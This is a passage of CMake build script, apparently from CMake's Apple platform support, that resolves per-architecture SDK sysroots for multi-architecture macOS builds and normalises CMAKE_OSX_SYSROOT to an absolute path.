resolve SDK path for '${sdk}'") continue() endif() _apple_resolve_supported_archs_for_sdk_from_system_lib(${_sdk_path} _sdk_archs _failed) if(_failed) # Failure to extract supported architectures for an SDK means that the installed SDK is old # and does not provide such information (SDKs that come with Xcode >= 10.x started providing # the information). In such a case, return early, and handle multi-arch builds the old way # (no per-sdk arches). return() endif() set(_sdk_archs_${sdk} ${_sdk_archs}) set(_sdk_path_${sdk} ${_sdk_path}) endforeach() foreach(arch ${CMAKE_OSX_ARCHITECTURES}) set(_arch_sysroot "") foreach(sdk ${_sdks}) list(FIND _sdk_archs_${sdk} ${arch} arch_index) if(NOT arch_index EQUAL -1) set(_arch_sysroot ${_sdk_path_${sdk}}) break() endif() endforeach() if(_arch_sysroot) list(APPEND _arch_sysroots ${_arch_sysroot}) else() message(WARNING "No SDK found for architecture '${arch}'") list(APPEND _arch_sysroots "${arch}-SDK-NOTFOUND") endif() endforeach() set(CMAKE_APPLE_ARCH_SYSROOTS "${_arch_sysroots}" CACHE INTERNAL "Architecture dependent sysroots, one per CMAKE_OSX_ARCHITECTURES") endfunction() _apple_resolve_multi_arch_sysroots() # Transform CMAKE_OSX_SYSROOT to absolute path set(_CMAKE_OSX_SYSROOT_PATH "") if(CMAKE_OSX_SYSROOT) if("x${CMAKE_OSX_SYSROOT}" MATCHES "/") # This is a path to the SDK. Make sure it exists. if(NOT IS_DIRECTORY "${CMAKE_OSX_SYSROOT}") message(WARNING "Ignoring CMAKE_OSX_SYSROOT value:\n ${CMAKE_OSX_SYSROOT}\n" "because the directory does not exist.") set(CMAKE_OSX_SYSROOT "") endif() set(_CMAKE_OSX_SYSROOT_PATH "${CMAKE_OSX_SYSROOT}") else() _apple_resolve_sdk_path(${CMAKE_OSX_SYSROOT} _sdk_path) if(IS_DIRECTORY "${_sdk_path}") set(_CMAKE_OSX_SYSROOT_PATH "${_sdk_path}") # For non-Xcode generators use the path. if(NOT "${CMAKE_GENERATOR}" MATCHES "Xcode") set(CMAKE_OSX_SYSROOT "${_CMAKE_OSX_SYSROOT_PATH}") endif() endif() endif() endif()
Close